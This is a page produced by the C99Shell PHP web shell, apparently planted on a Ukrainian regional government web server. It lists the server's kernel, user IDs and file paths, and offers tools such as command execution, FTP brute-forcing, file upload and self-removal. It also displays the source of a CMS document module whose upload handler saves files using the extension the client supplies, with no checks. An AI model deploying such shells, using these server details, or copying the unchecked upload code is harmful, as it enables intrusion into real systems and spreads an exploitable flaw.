!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/modules/regulatory/   drwxr-xr-x
Free 117.21 GB of 200.55 GB (58.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (4.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class Regulatory
{
    var 
$UserMode   true;
    var 
$AdminMode  true;
    var 
$SearchMode false;
    var 
$PanelMode  false;
    var 
$AdminAsynchMode true;
    var 
$Table;
    var 
$ClassName 'Regulatory';
    var 
$Directory;
    function 
Regulatory()
    {
        
$this->Directory dirname(__FILE__);
        
$this->Table = new AMTable2('AMCMS_regulatory');
        
$this->Table->Module($this->ClassName);
        
$this->Table->AddIndexField("doc_id");
        
$this->Table->AddPositionField("doc_position");
    }
    function 
User()
    {                
         global 
$ulang$ULANG;
        
$rows $this->Table->GetRows("doc_position DESC");
        
$smarty GetUserSmarty($this->ClassName);
        
$smarty->assign('rows'$rows);
        
$smarty->assign('mod'$this->ClassName);
        
$result['Content'] = $smarty->fetch("docs.tpl");
        
$modName GetParam('Module'.$this->ClassName$ulang);
        
$navigator = new AMNavigator();
        
$navigator->AddLink($modName"/actual");
        
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
        
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
        
$result['Module'] = $this->ClassName;
        
$result['Print'] = true;    
        
$result['Title'] = ($year == 0) ? $modName $modArchiveName;
        return 
$result;
    }    
    function 
Menu()
    {        
        global 
$ALANG;
        return array(
                array(
'title' => $ALANG['LawsMenuAdd'],          'link' => '?mod='.$this->ClassName.'&add'),
                array(
'title' => $ALANG['LawsMenuList'],         'link' => '?mod='.$this->ClassName.'&list'),
            );
    }
    function 
Admin()
    {
            global 
$ALANG$DefaultAdminLanguage$_LANG_ID;
            
$smarty GetAdminSmarty($this->ClassName);
            if (isset(
$_GET['list']))
            {                
                
$fields     = array("doc_title_ukr");
                
$captions   = array("");
                
$conditions "true";
                
$order        "doc_position DESC";
                
$links         = array("checkbox""delete""edit");
                
$multiple     = array("delete");
                
$params     = array("sortable" => "yes""id" => "regulatory");
                
$html $this->Table->GetAdminTable($fields$captions$conditions$order$links$multiple$params);
                
$result['Title']     = $ALANG['LawsList'];
                
$result['Content']     = $html;
                return 
$result;
            }
            if (isset(
$_GET['add']))
            {
                if (isset(
$_POST['oper']) && ($_POST['oper'] == 'add'))
                {
                        
$str = array('''_project''_analiz''_rezult''_ressenie');
                        
$id $this->Table->Insert($_POST);
                        for (
$i 1$i <= 4$i++)
                        if (
strlen($_FILES["file{$i}"]["name"]) > 0)
                        {                    
                            
$path_info pathinfo($_FILES["file{$i}"]['name']);
                            
$_POST["doc_file{$i}"]    = "doc{$id}{$str[$i]}.".$path_info['extension'];
                            
move_uploaded_file($_FILES["file{$i}"]['tmp_name'], "data/regulatory/".$_POST["doc_file{$i}"]);
                        }
                        
$this->Table->Update($_POST$id);
                        
header("Location: ?mod=".$this->ClassName."&list");
                }                
                
$smarty GetAdminSmarty($this->ClassName);
                  foreach(
$_POST as $key => $value)
                      
$smarty->assign($key$value);
                  
$smarty->assign('oper''add');
                  
$result['Title']     = $ALANG['LawsDocumentAdd'];
                
$result['Content']         = $smarty->fetch('doc.tpl');
                return 
$result;
            }
            if (isset(
$_GET['edit']) && isset($_GET['doc_id']))
            {
                
$id $_GET['doc_id'];
                
$row $this->Table->GetRowById($id);
                if (isset(
$_POST['oper']) && ($_POST['oper'] == 'edit'))
                {    
                    
$str = array('''_project''_analiz''_rezult''_ressenie');
                    for (
$i 1$i <= 4$i++)
                    {
                        if (
$_POST["doc{$i}"] == "del")
                        {
                            @
unlink("/data/regulatory/".$row["doc_file{$i}"]);
                            
$_POST["doc_file{$i}"] = ""
                        }
                    }
                    for (
$i 1$i <= 4$i++)
                    if (
strlen($_FILES["file{$i}"]["name"]) > 0)
                    {                    
                        
$path_info pathinfo($_FILES["file{$i}"]['name']);
                        
$_POST["doc_file{$i}"]    = "doc{$id}{$str[$i]}.".$path_info['extension'];
                        @
unlink("/data/regulatory/".$row["doc_file{$i}"]);
                        
move_uploaded_file($_FILES["file{$i}"]['tmp_name'], "data/regulatory/".$_POST["doc_file{$i}"]);
                    }
                    
$this->Table->Update($_POST$id);
                    
header("Location: ?mod=".$this->ClassName."&list");
                }
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');                  
                  
$result['Title']     = $ALANG['LawsEdition'];
                  
$result['Content'] = $smarty->fetch('doc.tpl');
                  return 
$result;                    
            }
    }    

    function 
AdminAsynch()
    {
        global 
$DefaultAdminLanguage$ALANG;
        if (isset(
$_POST['oper']) && ($_POST['oper'] == 'toarchive'))
        {
            
$id $_POST['id'];
            
$row['actual_date_of_archiving'] = GetCurrentDateAndTime();
            
$row['actual_type'] = 2;
            
$this->Table->Update($row$id);
            
$res["status"] = "ok";
            
$res["code"]   = $id;
            echo 
json_encode($res);
            die;
        }
        if (isset(
$_POST['oper']) && ($_POST['oper'] == 'fromarchive'))
        {
            
$id $_POST['id'];
            
$row['actual_date_of_archiving'] = "";
            
$row['actual_type'] = 1;
            
$this->Table->Update($row$id);
            
$res["status"] = "ok";
            
$res["code"]   = $id;
            echo 
json_encode($res);
            die;
        }
        
$this->Table->Run($_POST);
    }
}

$Modules ['Regulatory'] = new Regulatory();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0115 ]--